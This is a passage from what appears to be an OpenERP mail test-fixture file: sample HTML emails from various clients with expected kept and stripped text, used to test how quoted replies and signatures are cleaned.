<li><span>9 AM: brainstorming about our new amazing business app</span></li>
<li><span>9.45 AM: summary</span></li>
<li><span>10 AM: meeting with Fabien to present our app</span></li>
</ul>
</div>
<div>
<font><span>Is everything ok for you ?</span></font>
</div>"""
HTML_2_IN = ["<font><span>I contact you about our meeting for tomorrow. Here is the schedule I propose:</span></font>",
"<li><span>9 AM: brainstorming about our new amazing business app</span></li>",
"<li><span>9.45 AM: summary</span></li>",
"<li><span>10 AM: meeting with Fabien to present our app</span></li>",
"<font><span>Is everything ok for you ?</span></font>"]
HTML_2_OUT = []
HTML_3 = """<div><pre>This is an answer.
Regards,
XXXXXX
----- Mail original -----</pre>
<pre>Hi,
My CRM-related question.
Regards,
XXXX</pre></div>"""
HTML_3_IN = ["""<div><pre>This is an answer.
Regards,
XXXXXX
----- Mail original -----</pre>"""]
HTML_3_OUT = ["Hi,", "My CRM-related question.",
"Regards,"]
HTML_4 = """
<div>
<div>Hi Nicholas,</div>
<br>
<div>I'm free now. 00447710085916.</div>
<br>
<div>Regards,</div>
<div>Nicholas</div>
<br>
<span id="OLK_SRC_BODY_SECTION">
<div style="font-family:Calibri; font-size:11pt; text-align:left; color:black; BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; PADDING-BOTTOM: 0in; PADDING-LEFT: 0in; PADDING-RIGHT: 0in; BORDER-TOP: #b5c4df 1pt solid; BORDER-RIGHT: medium none; PADDING-TOP: 3pt">
<span style="font-weight:bold">From: </span>OpenERP Enterprise <<a href="mailto:sales@openerp.com">sales@openerp.com</a>><br><span style="font-weight:bold">Reply-To: </span><<a href="mailto:sales@openerp.com">sales@openerp.com</a>><br><span style="font-weight:bold">Date: </span>Wed, 17 Apr 2013 13:30:47 +0000<br><span style="font-weight:bold">To: </span>Microsoft Office User <<a href="mailto:n.saxlund@babydino.com">n.saxlund@babydino.com</a>><br><span style="font-weight:bold">Subject: </span>Re: your OpenERP.com registration<br>
</div>
<br>
<div>
<p>Hello Nicholas Saxlund, </p>
<p>I noticed you recently registered to our OpenERP Online solution. </p>
<p>You indicated that you wish to use OpenERP in your own company. We would like to know more about your your business needs and requirements, and see how we can help you. When would you be available to discuss your project ?
</p>
<p>Best regards, </p>
<pre><a href="http://openerp.com">http://openerp.com</a>
Belgium: +32.81.81.37.00
U.S.: +1 (650) 307-6736
India: +91 (79) 40 500 100
</pre>
</div>
</span>
</div>"""
HTML_5 = """<div><pre>Hi,
I have downloaded OpenERP installer 7.0 and successfully installed the postgresql server and the OpenERP.
I created a database and started to install module by log in as administrator.
However, I was not able to install any module due to "OpenERP Server Error" as shown in the attachement.
Could you please let me know how could I fix this problem?
Regards,
Goh Sin Yih
________________________________
From: OpenERP Enterprise <sales@openerp.com>
To: sinyih_goh@yahoo.com
Sent: Friday, February 8, 2013 12:46 AM
Subject: Feedback From Your OpenERP Trial
Hello Goh Sin Yih,
Thank you for having tested OpenERP Online.
I noticed you started a trial of OpenERP Online (gsy) but you did not decide to keep using it.
So, I just wanted to get in touch with you to get your feedback. Can you tell me what kind of application you were you looking for and why you didn't decide to continue with OpenERP?
Thanks in advance for providing your feedback,
Do not hesitate to contact me if you have any questions,
Thanks,
</pre>"""
GMAIL_1 = """Hello,<div><br></div><div>Ok for me. I am replying directly in gmail, without signature.</div><div><br></div><div>Kind regards,</div><div><br></div><div>Demo.<br><br><div>On Thu, Nov 8, 2012 at 5:29 PM, <span><<a href="mailto:dummy@example.com">dummy@example.com</a>></span> wrote:<br><blockquote><div>I contact you about our meeting for tomorrow. Here is the schedule I propose:</div><div><ul><li>9 AM: brainstorming about our new amazing business app</span></li></li>
<li>9.45 AM: summary</li><li>10 AM: meeting with Fabien to present our app</li></ul></div><div>Is everything ok for you ?</div>
<div><p>--<br>Administrator</p></div>
<div><p>Log in our portal at: <a href="http://localhost:8069#action=login&db=mail_1&login=demo">http://localhost:8069#action=login&db=mail_1&login=demo</a></p></div>
</blockquote></div><br></div>"""
GMAIL_1_IN = ['Ok for me. I am replying directly in gmail, without signature.']
GMAIL_1_OUT = ['Administrator', 'Log in our portal at:']
THUNDERBIRD_1 = """<div>On 11/08/2012 05:29 PM,
<a href="mailto:dummy@example.com">dummy@example.com</a> wrote:<br></div>
<blockquote>
<div>I contact you about our meeting for tomorrow. Here is the
schedule I propose:</div>
<div>
<ul><li>9 AM: brainstorming about our new amazing business
app</span></li></li>
<li>9.45 AM: summary</li>
<li>10 AM: meeting with Fabien to present our app</li>
</ul></div>
<div>Is everything ok for you ?</div>
<div>
<p>--<br>
Administrator</p>
</div>
<div>
<p>Log in our portal at:
<a href="http://localhost:8069#action=login&db=mail_1&token=rHdWcUART5PhEnJRaXjH">http://localhost:8069#action=login&db=mail_1&token=rHdWcUART5PhEnJRaXjH</a></p>
</div>
</blockquote>
Ok for me. I am replying directly below your mail, using Thunderbird, with a signature.<br><br>
Did you receive my email about my new laptop, by the way ?<br><br>
Raoul.<br><pre>--
Raoul Grosbedonnée
</pre>"""
THUNDERBIRD_1_IN = ['Ok for me. I am replying directly below your mail, using Thunderbird, with a signature.']
THUNDERBIRD_1_OUT = ['I contact you about our meeting for tomorrow.', 'Raoul Grosbedon']
HOTMAIL_1 = """<div>
<div dir="ltr"><br>
I have an amazing company, i'm learning OpenERP, it is a small company yet, but plannig to grow up quickly.
<br> <br>Kindest regards,<br>xxx<br>
<div>
<div id="SkyDrivePlaceholder">
</div>
<hr id="stopSpelling">
Subject: Re: your OpenERP.com registration<br>From: xxx@xxx.xxx<br>To: xxx@xxx.xxx<br>Date: Wed, 27 Mar 2013 17:12:12 +0000
<br><br>
Hello xxx,
<br>
I noticed you recently created an OpenERP.com account to access OpenERP Apps.
<br>
You indicated that you wish to use OpenERP in your own company.
We would like to know more about your your business needs and requirements, and see how
we can help you. When would you be available to discuss your project ?<br>
Best regards,<br>
<pre>
<a href="http://openerp.com" target="_blank">http://openerp.com</a>
Belgium: +32.81.81.37.00
U.S.: +1 (650) 307-6736
India: +91 (79) 40 500 100
</pre>
</div>
</div>
</div>"""
HOTMAIL_1_IN = ["I have an amazing company, i'm learning OpenERP, it is a small company yet, but plannig to grow up quickly."]
HOTMAIL_1_OUT = ["Subject: Re: your OpenERP.com registration", " I noticed you recently created an OpenERP.com account to access OpenERP Apps.",
"We would like to know more about your your business needs and requirements", "Belgium: +32.81.81.37.00"]
MSOFFICE_1 = """
<div>
<div class="WordSection1">
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
Our requirements are simple. Just looking to replace some spreadsheets for tracking quotes and possibly using the timecard module.
We are a company of 25 engineers providing product design services to clients.
</span>
</p>
<p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
I’ll install on a windows server and run a very limited trial to see how it works.
If we adopt OpenERP we will probably move to Linux or look for a hosted SaaS option.
</span>
</p>
<p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
<br>
I am also evaluating Adempiere and maybe others.
</span>
</p>
<p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
</span>
</p>
<p> </p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
I expect the trial will take 2-3 months as this is not a high priority for us.
</span>
</p>
<p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
</span>
</p>
<p> </p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
Alan
</span>
</p>
<p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
</span>
</p>
<p> </p>
<p></p>
<div>
<div style="border:none;border-top:solid #B5C4DF 1.0pt;padding:3.0pt 0in 0in 0in">
<p class="MsoNormal">
<b><span style="font-size:10.0pt;font-family:"Tahoma","sans-serif"">
From:
</span></b>
<span style="font-size:10.0pt;font-family:"Tahoma","sans-serif"">
OpenERP Enterprise [mailto:sales@openerp.com]
<br><b>Sent:</b> Monday, 11 March, 2013 14:47<br><b>To:</b> Alan Widmer<br><b>Subject:</b> Re: your OpenERP.com registration
</span>
</p>
<p></p>
<p></p>
</div>
</div>
<p class="MsoNormal"></p>
<p> </p>
<p>Hello Alan Widmer, </p>
<p></p>
<p>I noticed you recently downloaded OpenERP. </p>
<p></p>
<p>
Uou mentioned you wish to use OpenERP in your own company. Please let me more about your
business needs and requirements? When will you be available to discuss about your project?
</p>
<p></p>
<p>Thanks for your interest in OpenERP, </p>
<p></p>
<p>Feel free to contact me if you have any questions, </p>
<p></p>
<p>Looking forward to hear from you soon. </p>
<p></p>
<pre><p> </p></pre>
<pre>--<p></p></pre>
<pre>Nicolas<p></p></pre>
<pre><a href="http://openerp.com">http://openerp.com</a><p></p></pre>
<pre>Belgium: +32.81.81.37.00<p></p></pre>
<pre>U.S.: +1 (650) 307-6736<p></p></pre>
<pre>India: +91 (79) 40 500 100<p></p></pre>
<pre> <p></p></pre>
</div>
</div>"""
MSOFFICE_1_IN = ['Our requirements are simple. Just looking to replace some spreadsheets for tracking quotes and possibly using the timecard module.']
MSOFFICE_1_OUT = ['I noticed you recently downloaded OpenERP.', 'Uou mentioned you wish to use OpenERP in your own company.', 'Belgium: +32.81.81.37.00']
MSOFFICE_2 = """
<div>
<div class="WordSection1">
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Nicolas,</span></p><p></p>
<p></p>
<p class="MsoNormal" style="text-indent:.5in">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">We are currently investigating the possibility of moving away from our current ERP </span></p><p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
</span></p><p> </p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Thank You</span></p><p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Matt</span></p><p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
</span></p><p> </p>
<p></p>
<div>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Raoul Petitpoil</span></p><p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Poil Industries</span></p><p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Information Technology</span></p><p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">920 Super Street</span></p><p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Sanchez, Pa 17046 USA</span></p><p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Tel: xxx.xxx</span></p><p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Fax: xxx.xxx</span></p><p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Email: </span>
<a href="mailto:raoul@petitpoil.com">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:blue">raoul@petitpoil.com</span>
</a>
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
</span></p><p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">www.poilindustries.com</span></p><p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">www.superproducts.com</span></p><p></p>
<p></p>
</div>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
</span></p><p> </p>
<p></p>
<div>
<div style="border:none;border-top:solid #B5C4DF 1.0pt;padding:3.0pt 0in 0in 0in">
<p class="MsoNormal">
<b>
<span style="font-size:10.0pt;font-family:"Tahoma","sans-serif"">From:</span>
</b>
<span style="font-size:10.0pt;font-family:"Tahoma","sans-serif""> OpenERP Enterprise [mailto:sales@openerp.com] <br><b>Sent:</b> Wednesday, April 17, 2013 1:31 PM<br><b>To:</b> Matt Witters<br><b>Subject:</b> Re: your OpenERP.com registration</span></p><p></p>
<p></p>
</div>
</div>
<p class="MsoNormal"></p>
<p> </p>
<p>Hello Raoul Petitpoil, </p>
<p></p>
<p>I noticed you recently downloaded OpenERP. </p>
<p></p>
<p>You indicated that you wish to use OpenERP in your own company. We would like to know more about your your business needs and requirements, and see how we can help you. When would you be available to discuss your project ? </p>
<p></p>
<p>Best regards, </p>
<p></p>
<pre> <p> </p>
</pre>
<pre>--<p></p></pre>
<pre>Nicolas<p></p></pre>
<pre> <a href="http://openerp.com">http://openerp.com</a>
<p></p>
</pre>
<pre>Belgium: +32.81.81.37.00<p></p></pre>
<pre>U.S.: +1 (650) 307-6736<p></p></pre>
<pre>India: +91 (79) 40 500 100<p></p></pre>
<pre> <p></p></pre>
</div>
</div>"""
MSOFFICE_2_IN = ['We are currently investigating the possibility']
MSOFFICE_2_OUT = ['I noticed you recently downloaded OpenERP.', 'You indicated that you wish', 'Belgium: +32.81.81.37.00']
MSOFFICE_3 = """<div>
<div class="WordSection1">
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Hi Nicolas !</span></p><p></p>
<p></p>
<p class="MsoNormal">
<span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
</span></p><p> </p>
<p></p>
<p class="MsoNormal">
<span lang="EN-US" style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Yes I’d be glad to hear about your offers as we struggle every year with the planning/approving of LOA. </span></p><p></p>
<p></p>
<p class="MsoNormal">
<span lang="EN-US" style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">I saw your boss yesterday on tv and immediately wanted to test the interface. </span></p><p></p>
<p></p>
<p class="MsoNormal">
<span lang="EN-US" style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
</span></p><p> </p>
<p></p>
<div>
<p class="MsoNormal">
<b>
<span lang="NL-BE" style="font-size:10.0pt;font-family:"Trebuchet MS","sans-serif";color:gray">Bien à vous, </span></b></p><p></p><b>
</b>
<p></p>
<p class="MsoNormal">
<b>
<span lang="NL-BE" style="font-size:10.0pt;font-family:"Trebuchet MS","sans-serif";color:gray">Met vriendelijke groeten, </span></b></p><p></p><b>
</b>
<p></p>
<p class="MsoNormal">
<b>
<span lang="EN-GB" style="font-size:10.0pt;font-family:"Trebuchet MS","sans-serif";color:gray">Best regards,</span></b></p><p></p><b>
</b>
<p></p>
<p class="MsoNormal">
<b>
<span lang="EN-GB" style="font-size:10.0pt;font-family:"Trebuchet MS","sans-serif";color:gray">
</span></b></p><p><b> </b></p><b>
</b>
<p></p>
<p class="MsoNormal">
<b>
<span lang="EN-GB" style="font-size:10.0pt;font-family:"Trebuchet MS","sans-serif";color:gray">R. Petitpoil <br></span>
</b>
<span lang="EN-GB" style="font-size:10.0pt;font-family:"Trebuchet MS","sans-serif";color:gray">Human Resource Manager<b><br><br>Field Resource s.a n.v. <i> <br></i></b>Hermesstraat 6A <br>1930 Zaventem</span>
<span lang="EN-GB" style="font-size:8.0pt;font-family:"Tahoma","sans-serif";color:gray"><br></span>
<b>
<span lang="FR" style="font-size:10.0pt;font-family:Wingdings;color:#1F497D">(</span>
</b>
<b>
<span lang="FR" style="font-size:9.0pt;font-family:Wingdings;color:#1F497D"> </span>
</b>
<b>
<span lang="EN-GB" style="font-size:8.0pt;font-family:"Trebuchet MS","sans-serif";color:gray">xxx.xxx </span>
</b>
<b>
<span lang="EN-GB" style="font-size:9.0pt;font-family:"Trebuchet MS","sans-serif";color:gray"><br></span>
</b>
<b>
<span lang="FR" style="font-size:10.0pt;font-family:"Wingdings 2";color:#1F497D">7</span>
</b>
<b>
<span lang="FR" style="font-size:9.0pt;font-family:"Wingdings 2";color:#1F497D"> </span>
</b>
<b>
<span lang="EN-GB" style="font-size:8.0pt;font-family:"Trebuchet MS","sans-serif";color:gray">+32 2 727.05.91<br></span>
</b>
<span lang="EN-GB" style="font-size:24.0pt;font-family:Webdings;color:green">P</span>
<span lang="EN-GB" style="font-size:8.0pt;font-family:"Tahoma","sans-serif";color:green"> <b> </b></span>
<b>
<span lang="EN-GB" style="font-size:9.0pt;font-family:"Trebuchet MS","sans-serif";color:green">Please consider the environment before printing this email.</span>
</b>
<span lang="EN-GB" style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:navy"> </span>
<span lang="EN-GB" style="font-family:"Calibri","sans-serif";color:navy">
</span></p><p></p>
<p></p>
</div>
<p class="MsoNormal">
<span lang="EN-US" style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">
</span></p><p> </p>
<p></p>
<div>
<div style="border:none;border-top:solid #B5C4DF 1.0pt;padding:3.0pt 0cm 0cm 0cm">
<p class="MsoNormal">
<b>
<span lang="FR" style="font-size:10.0pt;font-family:"Tahoma","sans-serif"">De :</span>
</b>
<span lang="FR" style="font-size:10.0pt;font-family:"Tahoma","sans-serif""> OpenERP Enterprise [mailto:sales@openerp.com] <br><b>Envoyé :</b> jeudi 18 avril 2013 11:31<br><b>À :</b> Paul Richard<br><b>Objet :</b> Re: your OpenERP.com registration</span></p><p></p>
<p></p>
</div>
</div>
<p class="MsoNormal"></p>
<p> </p>
<p>Hello Raoul PETITPOIL, </p>
<p></p>
<p>I noticed you recently registered to our OpenERP Online solution. </p>
<p></p>
<p>You indicated that you wish to use OpenERP in your own company. We would like to know more about your your business needs and requirements, and see how we can help you. When would you be available to discuss your project ? </p>
<p></p>
<p>Best regards, </p>
<p></p>
<pre> <p> </p>
</pre>
<pre>--<p></p></pre>
<pre>Nicolas<p></p></pre>
<pre> <a href="http://openerp.com">http://openerp.com</a>
<p></p>
</pre>
<pre>Belgium: +32.81.81.37.00<p></p></pre>
<pre>U.S.: +1 (650) 307-6736<p></p></pre>
<pre>India: +91 (79) 40 500 100<p></p></pre>
<pre> <p></p></pre>
</div>
</div>"""
MSOFFICE_3_IN = ['I saw your boss yesterday']
MSOFFICE_3_OUT = ['I noticed you recently downloaded OpenERP.', 'You indicated that you wish', 'Belgium: +32.81.81.37.00']
# ------------------------------------------------------------
# Test cases coming from bugs
# ------------------------------------------------------------
# bug: read more not apparent, strange message in read more span
BUG1 = """<pre>Hi Migration Team,
Paragraph 1, blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah.
Paragraph 2, blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah.
Paragraph 3, blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah blah blah blah blah blah blah
blah blah blah blah blah blah blah blah.
Thanks.
Regards,
--
Olivier Laurent
Migration Manager
OpenERP SA
Chaussée de Namur, 40
B-1367 Gérompont
Tel: +32.81.81.37.00
Web: http://www.openerp.com</pre>"""
BUG_1_IN = [
'Hi Migration Team',
'Paragraph 1'
]
BUG_1_OUT = [
'Olivier Laurent',
'Chaussée de Namur',
'81.81.37.00',
'openerp.com',
]
BUG2 = """
<div>
<br>
<div class="moz-forward-container"><br>
<br>
-------- Original Message --------
<table class="moz-email-headers-table" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<th nowrap="" valign="BASELINE" align="RIGHT">Subject:
</th>
<td>Fwd: TR: OpenERP S.A. Payment Reminder</td>
</tr>
<tr>
<th nowrap="" valign="BASELINE" align="RIGHT">Date: </th>
<td>Wed, 16 Oct 2013 14:11:13 +0200</td>
</tr>
<tr>
<th nowrap="" valign="BASELINE" align="RIGHT">From: </th>
<td>Christine Herrmann <a class="moz-txt-link-rfc2396E" href="mailto:che@openerp.com"><che@openerp.com></a></td>
</tr>
<tr>
<th nowrap="" valign="BASELINE" align="RIGHT">To: </th>
<td><a class="moz-txt-link-abbreviated" href="mailto:online@openerp.com">online@openerp.com</a></td>
</tr>
</tbody>
</table>
<br>
<br>
<br>
<div class="moz-forward-container"><br>
<br>
-------- Message original --------
<table class="moz-email-headers-table" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<th nowrap="" valign="BASELINE" align="RIGHT">Sujet:
</th>
<td>TR: OpenERP S.A. Payment Reminder</td>
</tr>
<tr>
<th nowrap="" valign="BASELINE" align="RIGHT">Date :
</th>
<td>Wed, 16 Oct 2013 10:34:45 -0000</td>
</tr>
<tr>
<th nowrap="" valign="BASELINE" align="RIGHT">De : </th>
<td>Ida Siwatala <a class="moz-txt-link-rfc2396E" href="mailto:infos@inzoservices.com"><infos@inzoservices.com></a></td>
</tr>
<tr>
<th nowrap="" valign="BASELINE" align="RIGHT">Répondre
à : </th>
<td><a class="moz-txt-link-abbreviated" href="mailto:catchall@mail.odoo.com">catchall@mail.odoo.com</a></td>
</tr>
<tr>
<th nowrap="" valign="BASELINE" align="RIGHT">Pour :
</th>
<td>Christine Herrmann (che) <a class="moz-txt-link-rfc2396E" href="mailto:che@openerp.com"><che@openerp.com></a></td>
</tr>
</tbody>
</table>
<br>
<br>
<div>
<div class="WordSection1">
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Bonjour,</span></p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D"></span></p>
<p> </p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Pourriez-vous
me faire un retour sur ce point.</span></p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D"></span></p>
<p> </p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Cordialement</span></p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D"></span></p>
<p> </p>
<div>
<div style="border:none;border-top:solid #B5C4DF
1.0pt;padding:3.0pt 0cm 0cm 0cm">
<p class="MsoNormal"><b><span style="font-size:10.0pt;font-family:"Tahoma","sans-serif"">De :</span></b><span style="font-size:10.0pt;font-family:"Tahoma","sans-serif"">
Ida Siwatala [<a class="moz-txt-link-freetext" href="mailto:infos@inzoservices.com">mailto:infos@inzoservices.com</a>]
<br>
<b>Envoyé :</b> vendredi 4 octobre 2013 20:03<br>
<b>À :</b> 'Followers of
INZO-services-8-all-e-Maxime-Lisbonne-77176-Savigny-le-temple-France'<br>
<b>Objet :</b> RE: OpenERP S.A. Payment Reminder</span></p>
</div>
</div>
<p> </p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Bonsoir,</span></p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D"></span></p>
<p> </p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Je
me permets de revenir vers vous par écrit , car j’ai
fait 2 appels vers votre service en exposant mon
problème, mais je n’ai pas eu de retour.</span></p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Cela
fait un mois que j’ai fait la souscription de votre
produit, mais je me rends compte qu’il est pas adapté à
ma situation ( fonctionnalité manquante et surtout je
n’ai pas beaucoup de temps à passer à résoudre des
bugs). </span></p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">C’est
pourquoi , j’ai demandé qu’un accord soit trouvé avec
vous pour annuler le contrat (tout en vous payant le
mois d’utilisation de septembre).</span></p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D"></span></p>
<p> </p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Pourriez-vous
me faire un retour sur ce point.</span></p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D"></span></p>
<p> </p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Cordialement,</span></p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D"></span></p>
<p> </p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D">Ida
Siwatala</span></p>
<p class="MsoNormal"><span style="font-size:11.0pt;font-family:"Calibri","sans-serif";color:#1F497D"></span></p>
<p> </p>
<p class="MsoNormal"><b><span style="font-size:10.0pt;font-family:"Tahoma","sans-serif"">De :</span></b><span style="font-size:10.0pt;font-family:"Tahoma","sans-serif"">
<a href="mailto:che@openerp.com">che@openerp.com</a>
[<a href="mailto:che@openerp.com">mailto:che@openerp.com</a>]
<br>
<b>Envoyé :</b> vendredi 4 octobre 2013 17:41<br>
<b>À :</b> <a href="mailto:infos@inzoservices.com">infos@inzoservices.com</a><br>
<b>Objet :</b> OpenERP S.A. Payment Reminder</span></p>
<p> </p>
<div>
<p style="background:white"><span style="font-size:9.0pt;font-family:"Arial","sans-serif";color:#222222">Dear
INZO services,</span></p>
<p style="background:white"><span style="font-size:9.0pt;font-family:"Arial","sans-serif";color:#222222">Exception
made if there was a mistake of ours, it seems that the
following amount stays unpaid. Please, take
appropriate measures in order to carry out this
payment in the next 8 days. </span></p>
<p class="MsoNormal" style="background:white"><span style="font-size:9.0pt;font-family:"Arial","sans-serif";color:#222222"></span></p>
<p> </p>
<table class="MsoNormalTable" style="width:100.0%;border:outset 1.5pt" width="100%" border="1" cellpadding="0">
<tbody>
<tr>
<td style="padding:.75pt .75pt .75pt .75pt">
<p class="MsoNormal">Date de facturation</p>
</td>
<td style="padding:.75pt .75pt .75pt .75pt">
<p class="MsoNormal">Description</p>
</td>
<td style="padding:.75pt .75pt .75pt .75pt">
<p class="MsoNormal">Reference</p>
</td>
<td style="padding:.75pt .75pt .75pt .75pt">
<p class="MsoNormal">Due Date</p>
</td>
<td style="padding:.75pt .75pt .75pt .75pt">
<p class="MsoNormal">Amount (€)</p>
</td>
<td style="padding:.75pt .75pt .75pt .75pt">
<p class="MsoNormal">Lit.</p>
</td>
</tr>
<tr>
<td style="padding:.75pt .75pt .75pt .75pt">
<p class="MsoNormal"><b>2013-09-24</b></p>
</td>
<td style="padding:.75pt .75pt .75pt .75pt">
<p class="MsoNormal"><b>2013/1121</b></p>
</td>
<td style="padding:.75pt .75pt .75pt .75pt">
<p class="MsoNormal"><b>Enterprise - Inzo Services
- Juillet 2013</b></p>
</td>
<td style="padding:.75pt .75pt .75pt .75pt">
<p class="MsoNormal"><b>2013-09-24</b></p>
</td>
<td style="padding:.75pt .75pt .75pt .75pt">
<p class="MsoNormal"><b>420.0</b></p>
</td>
<td style="padding:.75pt .75pt .75pt .75pt"><br>
</td>
</tr>
<tr>
<td style="padding:.75pt .75pt .75pt .75pt"><br>
</td>
<td style="border:none;padding:.75pt .75pt .75pt
.75pt"><br>
</td>
<td style="border:none;padding:.75pt .75pt .75pt
.75pt"><br>
</td>
<td style="border:none;padding:.75pt .75pt .75pt
.75pt"><br>
</td>
<td style="border:none;padding:.75pt .75pt .75pt
.75pt"><br>
</td>
<td style="border:none;padding:.75pt .75pt .75pt
.75pt"><br>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal" style="text-align:center;background:white" align="center"><span style="font-size:9.0pt;font-family:"Arial","sans-serif";color:#222222">Amount
due : 420.00 € </span></p>
<p style="background:white"><span style="font-size:9.0pt;font-family:"Arial","sans-serif";color:#222222">Would
your payment have been carried out after this mail was
sent, please ignore this message. Do not hesitate to
contact our accounting department. </span></p>
<p class="MsoNormal" style="background:white"><span style="font-size:9.0pt;font-family:"Arial","sans-serif";color:#222222"><br>
Best Regards, <br>
Aurore Lesage <br>
OpenERP<br>
Chaussée de Namur, 40 <br>
B-1367 Grand Rosières <br>
Tel: +32.81.81.37.00 - Fax: +32.81.73.35.01 <br>
E-mail : <a href="mailto:ale@openerp.com">ale@openerp.com</a> <br>
Web: <a href="http://www.openerp.com">http://www.openerp.com</a></span></p>
</div>
</div>
</div>
--<br>
INZO services <small>Sent by <a style="color:inherit" href="http://www.openerp.com">OpenERP
S.A.</a> using <a style="color:inherit" href="https://www.openerp.com/">OpenERP</a>.</small>
